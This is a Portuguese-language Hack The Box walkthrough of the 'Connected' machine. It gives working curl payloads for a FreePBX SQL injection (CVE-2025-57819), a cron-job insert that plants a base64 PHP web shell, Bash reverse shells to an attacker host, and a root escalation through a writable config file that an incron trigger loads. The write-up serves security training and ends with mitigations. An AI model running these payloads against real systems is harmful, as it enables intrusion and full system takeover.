
Este walkthrough documenta o comprometimento completo da máquina Connected do HTB.
Este passo a passo documenta o comprometimento completo da máquina HTB Connected.
A cadeia de ataque começa com uma vulnerabilidade de injeção SQL não autenticada no FreePBX, que é explorada para obter execução de código como o usuário asterisk por meio de um cron job malicioso. Um arquivo de configuração gravável combinado com um gatilho incron permite então a escalada de privilégios para root.
Este caso demonstra como vulnerabilidades de aplicações web, quando combinadas com permissões locais fracas e automação privilegiada insegura, podem levar ao comprometimento total do sistema.
Uma varredura rápida de portas revela as portas abertas do alvo:
nmap -T5 --open <MACHINE_IP>
| Porta | Serviço |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Uma inspeção adicional mostra um servidor Apache executando PHP 7.4, com um redirecionamento HTTP para:
http://connected.htb/
Para acessar o site corretamente, adicione o mapeamento do host virtual:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
Navegando para http://connected.htb/ revela:
FreePBX 16.0.40.7
A pesquisa identifica a CVE-2025-57819, uma vulnerabilidade de injeção SQL baseada em erro não autenticada no componente Endpoint Manager do FreePBX.
Confirme a vulnerabilidade extraindo o usuário do banco de dados:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
A resposta contém:
~USER:freepbxuser@localhost~
Isso confirma que a injeção SQL funciona e que a aplicação se conecta ao MySQL como:
freepbxuser@localhost
O FreePBX armazena tarefas agendadas na tabela cron_jobs.
Ao injetar uma entrada maliciosa nesta tabela, comandos arbitrários podem ser agendados para execução.
O payload a seguir cria um web shell PHP na raiz web:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
O servidor retorna um erro genérico 500, mas a instrução SQL é executada com sucesso.
Após aproximadamente um minuto, verifique se o web shell foi criado:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
Saída:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
Agora temos execução de comandos como o usuário asterisk por meio de requisições HTTP.
Inicie um listener Netcat na máquina atacante:
nc -lvnp 4444
Dispare um reverse shell Bash através do web shell:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
Uma conexão é estabelecida:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
Agora temos um shell interativo como o usuário asterisk.
Procure por arquivos graváveis em /etc, excluindo falsos positivos conhecidos:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
Um resultado notável é:
/etc/dahdi/init.conf
Em seguida, examine a configuração do incron:
cat /etc/incron.d/*
Isso revela o seguinte monitor de sistema de arquivos:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
Isso significa que sempre que o arquivo sentinela:
/var/spool/asterisk/sysadmin/dahdi_restart
for gravado, o seguinte script é executado:
/usr/sbin/sysadmin_dahdi_restart
A inspeção do script revela que ele carrega (sources):
/etc/dahdi/init.conf
Como /etc/dahdi/init.conf é gravável pelo usuário asterisk e é carregado por um processo root, isso fornece um caminho para execução arbitrária de comandos como root.
Inicie um segundo listener Netcat na porta 4445:
nc -lvnp 4445
A partir do shell do asterisk, anexe um payload de reverse shell ao arquivo de configuração gravável:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
Dispare a ação do incron gravando no arquivo monitorado:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
Em poucos segundos, o shell root se conecta:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 Acesso root total alcançado!
cat /home/asterisk/user.txt
Saída:
HTB{...user_flag...}
cat /root/root.txt
Saída:
HTB{...root_flag...}
Injeção SQL Não Autenticada
│
▼
Execução de Consulta MySQL
│
▼
Inserir Cron Job Malicioso
│
▼
PHP Web Shell
│
▼
Shell asterisk
│
▼
/etc/dahdi/init.conf Gravável
│
▼
Gatilho incron
│
▼
Execução de Comando Root
│
▼
root
| Vulnerabilidade | Impacto |
|---|---|
| Injeção SQL Não Autenticada | Expôs o contexto do usuário do banco de dados e forneceu uma base para gravar dados maliciosos |
| Injeção de Cron Job | Permitiu execução remota de código como uma conta de serviço de baixo privilégio |
Use consultas parametrizadas e validação rigorosa de entrada para todas as operações de banco de dados.
Nunca concatene entrada controlada pelo usuário diretamente em consultas SQL.
Arquivos de configuração consumidos por serviços privilegiados não devem ser graváveis por contas de serviço de baixo privilégio.
Em particular, revise as permissões de arquivos em:
/etc/
Audite regularmente tarefas agendadas e monitores de sistema de arquivos.
Jobs privilegiados não devem executar comandos com base em arquivos que usuários não confiáveis possam modificar.
Scripts de propriedade do root devem evitar carregar arquivos de configuração que possam ser modificados por usuários sem privilégios.
Aplicações web e serviços devem ser executados com as permissões mínimas necessárias para sua operação.
Reduzir os privilégios do ambiente FreePBX/Apache pode limitar significativamente o impacto de um comprometimento bem-sucedido da aplicação.
CVE-2025-57819
│
▼
Injeção SQL Não Autenticada
│
▼
Manipulação da Tabela cron_jobs
│
▼
PHP Web Shell Agendado
│
▼
Usuário asterisk
│
▼
/etc/dahdi/init.conf Gravável
│
▼
Monitor de Arquivos incron
│
▼
Script DAHDI Privilegiado
│
▼
Shell Root
│
▼
🏆 Comprometimento Total do Sistema
Aviso Legal: Este artigo tem fins educacionais e de testes de segurança autorizados, como laboratórios Hack The Box e ambientes controlados.
| Arquivo de Configuração Gravável + incron | Permitiu escalada direta de privilégios para root |
| Script Privilegiado Carregando Arquivo Gravável pelo Usuário | Permitiu que comandos arbitrários fossem executados com privilégios de root |